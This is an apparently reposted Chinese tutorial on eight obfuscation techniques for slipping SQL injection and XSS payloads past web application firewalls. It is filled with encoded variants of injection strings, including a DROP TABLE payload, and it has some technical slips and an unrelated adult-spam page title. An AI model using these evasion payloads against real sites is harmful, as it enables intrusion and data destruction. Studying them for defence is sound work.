欧美成人精品手机在线观看_69视频国产_动漫精品第一页_日韩中文字幕网 - 日本欧美一区二区

LOGO OA教程 ERP教程 模切知識交流 PMS教程 CRM教程 開發(fā)文檔 其他文檔  
 
網(wǎng)站管理員

八種繞過WAF防火墻的Payload混淆技術(shù)

admin
2024年6月15日 18:47 本文熱度 1400

摘要

Payload混淆技術(shù)是一種用來繞過Web應(yīng)用防火墻(WAF)檢測的方法。WAF的主要功能是通過分析HTTP請求和響應(yīng)中的內(nèi)容來檢測和阻止惡意流量,比如SQL注入、跨站腳本(XSS)攻擊等。Payload混淆技術(shù)的原理是通過修改攻擊載荷(payload)的外觀,使其難以被WAF正確識別,但在目標(biāo)應(yīng)用處理時依然能夠被正常執(zhí)行。



HTML編碼混淆技術(shù)


HTML編碼是一種將特殊字符轉(zhuǎn)換為其HTML實(shí)體表示的方法。HTML實(shí)體是一種以字符名稱或字符代碼表示的字符,使得這些字符可以安全地嵌入HTML文檔中,而不會被解析為HTML標(biāo)簽或其他HTML特殊字符。

常見的HTML編碼如下:

  • & 變?yōu)?&

  • < 變?yōu)?&lt;

  • > 變?yōu)?&gt;

  • " 變?yōu)?&quot;

  • ' 變?yōu)?&#x27;&apos;

  • / 變?yōu)?&#x2F;

使用HTML編碼進(jìn)行Payload混淆的主要原理是,通過將攻擊載荷中的特殊字符轉(zhuǎn)換為其HTML實(shí)體形式,使得WAF難以準(zhǔn)確解析和檢測到這些字符。盡管這些編碼形式在瀏覽器解析時會恢復(fù)為原始字符,但在經(jīng)過WAF時,由于編碼后的形式與實(shí)際字符不同,WAF可能無法正確識別和阻止這些載荷。

示例1:XSS攻擊

例如: <script>alert(1)</script>可以使用HTML編碼來混淆XSS Payload, 混淆后的HTML編碼如下:

&lt;script&gt;alert(1)&lt;/script&gt;

此編碼將特殊字符替換為HTML 實(shí)體等效項(xiàng),從而使安全過濾器更難識別其特征。

示例2:SQL注入

一個SQL注入攻擊載荷是:SELECT * FROM users WHERE username='admin' OR 1=1 --'。如果使用HTML編碼進(jìn)行混淆,可以將其編碼為:

`SELECT%20*%20FROM%20users%20WHERE%20username%3D%27admin%27%20OR%201%3D1%20--%27'`

這種情況下,雖然數(shù)據(jù)庫在接收到查詢時會將其解析為原始SQL語句,但WAF可能會因?yàn)榫幋a形式不同而無法正確識別和阻止。



URL編碼混淆技術(shù)


URL編碼(也稱為百分號編碼)是一種將數(shù)據(jù)轉(zhuǎn)換為可以在URL中安全傳輸?shù)母袷降姆椒āS捎赨RL只能包含某些字符,因此URL編碼用于將不安全的字符轉(zhuǎn)換為允許的ASCII字符。

  • 普通字符:字母 (A-Z, a-z)、數(shù)字 (0-9) 和某些特殊字符(如 -, _, .~)可以直接在URL中使用,不需要編碼。

  • 特殊字符:其他字符(包括空格、引號、換行符等)需要編碼。編碼方式是將字符轉(zhuǎn)換為其對應(yīng)的ASCII值,然后以百分號 (%) 加上兩位十六進(jìn)制數(shù)字表示。例如,空格編碼為 %20,引號編碼為 %22

常見的URL編碼示例:

  • 空格 () 編碼為 %20

  • 引號 (") 編碼為 %22

  • 斜杠 (/) 編碼為 %2F

  • 加號 (+) 編碼為 %2B

黑客通常使用 URL 編碼和十六進(jìn)制編碼等方法對其有效payload進(jìn)行編碼。一旦有效載荷到達(dá)目標(biāo),就會對其進(jìn)行解碼以執(zhí)行攻擊。例如,'; DROP TABLE users; --可以將簡單的 SQL 注入有效payload編碼為其十六進(jìn)制表示形式,然后由服務(wù)器端對其進(jìn)行解碼:

%27%3B%20%44%52%4F%50%20%54%41%42%4C%45%20%75%73%65%72%73%3B%20%2D%2D



雙重URL編碼混淆技術(shù)


雙重URL編碼(Double URL Encoding)是一種更復(fù)雜的編碼技術(shù),其中對字符進(jìn)行了兩次URL編碼。這種技術(shù)常用于繞過某些Web應(yīng)用防火墻(WAF)或其他安全機(jī)制,因?yàn)閮纱尉幋a后的字符串更難以被識別和解析。

首先,回顧一下單次URL編碼。URL編碼是將特殊字符轉(zhuǎn)換為其ASCII值的十六進(jìn)制表示,并在前面加上百分號 (%) 。例如:

  • 空格 () 編碼為 %20

  • < 編碼為:%3C

  • >編碼為:%3E

雙重URL編碼則是對已經(jīng)進(jìn)行了一次URL編碼的字符串,再進(jìn)行一次URL編碼。具體步驟如下:

1、第一次URL編碼:<變?yōu)椋?/span>%3C

2、第二次URL編碼: %變?yōu)?%25, 因此%3C變成了:%253C

最終,字符<經(jīng)過雙重URL編碼后變?yōu)椋?/span>%253C

雙重URL編碼可以用來繞過一些WAF,因?yàn)殡p重編碼后的payload更難被識別為攻擊。以下是一些示例:

示例1:XSS攻擊

一個簡單的XSS攻擊payload是 <script>alert('XSS')</script>。使用雙重URL編碼可以將其混淆為:

1、第一次URL編碼:<script>alert('XSS')</script>變?yōu)椋?/span>%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E

2、第二次URL編碼:%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E 變?yōu)椋?/span>%253Cscript%253Ealert%2528%2527XSS%2527%2529%253C%252Fscript%253E

最終的payload內(nèi)容為:%253Cscript%253Ealert%2528%2527XSS%2527%2529%253C%252Fscript%253E

示例2:SQL注入

一個SQL注入攻擊payload是:SELECT * FROM users WHERE username='admin' OR 1=1 --'。使用雙重URL編碼可以將其混淆為:

1、第一次URL編碼:SELECT * FROM users WHERE username='admin' OR 1=1 --'變成了:SELECT%20*%20FROM%20users%20WHERE%20username%3D%27admin%27%20OR%201%3D1%20--%2

2、第二次URL編碼:SELECT%20*%20FROM%20users%20WHERE%20username%3D%27admin%27%20OR%201%3D1%20--%27變成了:

SELECT%2520*%2520FROM%2520users%2520WHERE%2520username%253D%2527admin%2527%2520OR%25201%253D1%2520--%2527

最終的Payload為:SELECT%2520*%2520FROM%2520users%2520WHERE%2520username%253D%2527admin%2527%2520OR%25201%253D1%2520--%2527



字符替換或添加注釋混淆技術(shù)


在使用字符替換或添加注釋進(jìn)行Payload混淆時,攻擊者通過在原始攻擊載荷中插入無害字符或注釋符號來擾亂WAF的解析規(guī)則,從而繞過防護(hù)。

一、字符替換

字符替換技術(shù)通過用等價字符或字符串來替換原始載荷中的某些部分,使得WAF難以匹配到已知的攻擊模式。

示例1:SQL注入

原始SQL注入Payload如下:

SELECT * FROM users WHERE username='admin' OR 1=1 --'

使用字符替換技術(shù),可以將關(guān)鍵字替換為等價表達(dá)方式:

SELECT * FROM users WHERE username='admin' OR '1'='1' --'

進(jìn)一步替換為:

SELEC/**/T * FR/**/OM users WHERE user/**/name='admin' OR '1'='1' --'

在這個示例中,SELECT 被替換為 SELEC/**/TFROM 被替換為 FR/**/OM,這樣使得WAF更難識別這些關(guān)鍵字。

示例2:XSS攻擊

原始XSS攻擊Payload如下:

<script>alert('XSS')</script>

使用字符替換技術(shù),可以將標(biāo)簽和函數(shù)拆分:

<scri"+"pt>alert('XSS')</scr"+"ipt>

或:

<scri<!--comment-->pt>alert('XSS')</scri<!--comment-->pt>

二、添加注釋

通過在載荷中插入注釋符號,進(jìn)一步擾亂WAF的解析規(guī)則。注釋符號可以用來分隔關(guān)鍵字,使WAF無法正確識別。

示例1:SQL注入

原始SQl注入Payload:

SELECT * FROM users WHERE username='admin' OR 1=1 --'

使用添加注釋技術(shù),可以在關(guān)鍵字之間添加SQL注釋

SELECT/*comment*/ * FROM/*comment*/ users WHERE/*comment*/ username='admin'/*comment*/ OR 1=1 --'

示例2:XSS攻擊

原始XSS攻擊Payload:

<script>alert('XSS')</script>

使用添加注釋技術(shù),可以在標(biāo)簽和內(nèi)容之間添加HTML注釋:

<script><!--comment-->alert('XSS')<!--comment--></script>



字符串連接混淆技術(shù)


字符串連接是一種常見的Payload混淆技術(shù),通過將惡意字符串分割成多個部分,并使用不同的方式重新組合在一起,使得WAF難以檢測到完整的攻擊Payload。

示例1:SQL注入

原始SQL注入Payload:

SELECT * FROM users WHERE username='admin' OR 1=1 --'

使用字符串連接技術(shù),可以將這個載荷分割并重新組合:

SELEC' + 'T * FR' + 'OM users WHERE user' + 'name='admin' OR 1=1 --'

或者使用SQL拼接函數(shù)(不同數(shù)據(jù)庫有不同的字符串拼接方式):

SELECT * FROM users WHERE username='ad'||'min' OR 1=1 --'SELECT * FROM users WHERE username=CONCAT('ad','min') OR 1=1 --'

示例2:XSS攻擊

原始XSS攻擊Payload:

<script>alert('XSS')</script>

使用字符串連接技術(shù),可以將這段載荷分割并重新組合:

<scr'+'ipt>alert('XSS')</scr'+'ipt>

或者使用JavaScript的字符串拼接:

<scri' + 'pt>alert("XSS")</scri' + 'pt>



大小寫轉(zhuǎn)換混淆技術(shù)


該技術(shù)是一種通過改變關(guān)鍵字或標(biāo)識符的大小寫來混淆Payload的技術(shù)。許多編程語言和數(shù)據(jù)庫查詢語言(如SQL)對關(guān)鍵字大小寫不敏感(即大小寫不敏感),因此攻擊者可以利用這種特性改變載荷中的大小寫,從而繞過Web應(yīng)用防火墻(WAF)的檢測。

示例1:SQL注入

原始SQL注入Payload:

SELECT * FROM users WHERE username='admin' OR 1=1 --'

使用大小寫轉(zhuǎn)換技術(shù), 可以將關(guān)鍵字大小寫變換:

SeLeCt * FrOm users WhErE username='admin' Or 1=1 --'

進(jìn)一步變換:

sEleCt * frOM users wHErE username='admin' OR 1=1 --'

示例2:XSS攻

原始XSS攻擊Payload:

<script>alert('XSS')</script>

經(jīng)過大小寫轉(zhuǎn)換,可以將標(biāo)簽和函數(shù)名大小寫變換:

<script>alert('XSS')</script>

進(jìn)一步變換:

<script>aLeRt('XSS')</script>



轉(zhuǎn)義字符混淆技術(shù)


使用轉(zhuǎn)義字符(Escape Characters)是一種常見的Payload混淆技術(shù),通過在特殊字符前添加轉(zhuǎn)義符號,使得這些字符在解析時具有不同的含義,從而繞過Web應(yīng)用防火墻(WAF)或其他安全機(jī)制的檢測。

轉(zhuǎn)義字符是用來表示某些特殊字符或控制字符的序列。通常,一個轉(zhuǎn)義字符由一個反斜杠 (\) 開頭,緊跟一個或多個字符。轉(zhuǎn)義字符廣泛應(yīng)用于編程語言、數(shù)據(jù)庫查詢語言以及各種協(xié)議中。

轉(zhuǎn)義字符的常見應(yīng)用:

  • 新行\n

  • 制表符\t

  • 反斜杠\\

  • 單引號\'

  • 雙引號\"

  • 十六進(jìn)制字符\xhh(其中 hh 是十六進(jìn)制數(shù))

  • Unicode字符\uhhhh(其中 hhhh 是Unicode碼點(diǎn)的十六進(jìn)制數(shù))

通過在攻擊Payload中插入轉(zhuǎn)義字符,可以改變Payload的外觀,使得WAF難以匹配已知的攻擊模式。在解析和執(zhí)行時,轉(zhuǎn)義字符會恢復(fù)為原始字符,從而使得攻擊Payload能夠正常工作。

示例1:SQL注入

原始SQL注入Payload:

SELECT * FROM users WHERE username='admin' OR 1=1 --'

使用轉(zhuǎn)義字符,可以在單引號前插入反斜杠:

SELECT * FROM users WHERE username=\'admin\' OR 1=1 --\'

或者使用雙引號和反斜杠:

SELECT * FROM users WHERE username="admin\" OR \"1\"=\"1\" --"

示例2:XSS攻擊

原始XSS攻擊Payload:

<script>alert('XSS')</script>

使用轉(zhuǎn)義字符,可以在雙引號和單引號前插入反斜杠:

<script>alert(\'XSS\')</script>

或者在HTML實(shí)體編碼中使用反斜杠:

<script>alert(&#39;XSS&#39;)</script>



Unicode混淆技術(shù)


使用Unicode作為Payload混淆技術(shù)是一種通過將常見字符轉(zhuǎn)換為其Unicode編碼形式,使得WAF難以檢測到惡意Payload的方法。Unicode編碼可以用來表示幾乎所有的字符,因此它在混淆攻擊Payload時非常有效。

什么是Unicode?

Unicode是一種字符編碼標(biāo)準(zhǔn),它為所有的字符提供唯一的編號,可以表示世界上幾乎所有的文字系統(tǒng)中的字符。常見的Unicode表示形式有:

  • UTF-8:一種變長編碼,每個字符用1到4個字節(jié)表示。

  • UTF-16:一種變長編碼,每個字符用2或4個字節(jié)表示。

  • UTF-32:一種固定長度編碼,每個字符用4個字節(jié)表示。

通過將攻擊載荷中的字符轉(zhuǎn)換為Unicode編碼形式,可以繞過WAF的檢測。例如,常見的SQL關(guān)鍵字和HTML標(biāo)簽在轉(zhuǎn)換為Unicode后,可能無法被簡單的字符串匹配規(guī)則識別。

示例1:SQL注入

原始SQL注入Payload:

SELECT * FROM users WHERE username='admin' OR 1=1 --'

使用Unicode編碼進(jìn)行混淆,可以將關(guān)鍵字和符號轉(zhuǎn)換為Unicode形式:

\u0053\u0045\u004C\u0045\u0043\u0054 * \u0046\u0052\u004F\u004D users \u0057\u0048\u0045\u0052\u0045 username=\u0027admin\u0027 \u004F\u0052 1=1 --\u0027

或者使用十六進(jìn)制表示形式:

\x53\x45\x4C\x45\x43\x54 * \x46\x52\x4F\x4D users \x57\x48\x45\x52\x45 username=\x27admin\x27 \x4F\x52 1=1 --\x27

示例2:XSS攻擊

原始XSS攻擊Payload:

<script>alert('XSS')</script>

使用Unicode編碼進(jìn)行混淆,可以將標(biāo)簽和內(nèi)容轉(zhuǎn)換為Unicode形式:

\u003Cscript\u003Ealert(\u0027XSS\u0027)\u003C/script\u003E

或者使用十六進(jìn)制表示形式:

\x3Cscript\x3Ealert(\x27XSS\x27)\x3C/script\x3E

該文章在 2024/6/15 18:47:34 編輯過
關(guān)鍵字查詢
相關(guān)文章
正在查詢...
點(diǎn)晴ERP是一款針對中小制造業(yè)的專業(yè)生產(chǎn)管理軟件系統(tǒng),系統(tǒng)成熟度和易用性得到了國內(nèi)大量中小企業(yè)的青睞。
點(diǎn)晴PMS碼頭管理系統(tǒng)主要針對港口碼頭集裝箱與散貨日常運(yùn)作、調(diào)度、堆場、車隊(duì)、財務(wù)費(fèi)用、相關(guān)報表等業(yè)務(wù)管理,結(jié)合碼頭的業(yè)務(wù)特點(diǎn),圍繞調(diào)度、堆場作業(yè)而開發(fā)的。集技術(shù)的先進(jìn)性、管理的有效性于一體,是物流碼頭及其他港口類企業(yè)的高效ERP管理信息系統(tǒng)。
點(diǎn)晴WMS倉儲管理系統(tǒng)提供了貨物產(chǎn)品管理,銷售管理,采購管理,倉儲管理,倉庫管理,保質(zhì)期管理,貨位管理,庫位管理,生產(chǎn)管理,WMS管理系統(tǒng),標(biāo)簽打印,條形碼,二維碼管理,批號管理軟件。
點(diǎn)晴免費(fèi)OA是一款軟件和通用服務(wù)都免費(fèi),不限功能、不限時間、不限用戶的免費(fèi)OA協(xié)同辦公管理系統(tǒng)。
Copyright 2010-2025 ClickSun All Rights Reserved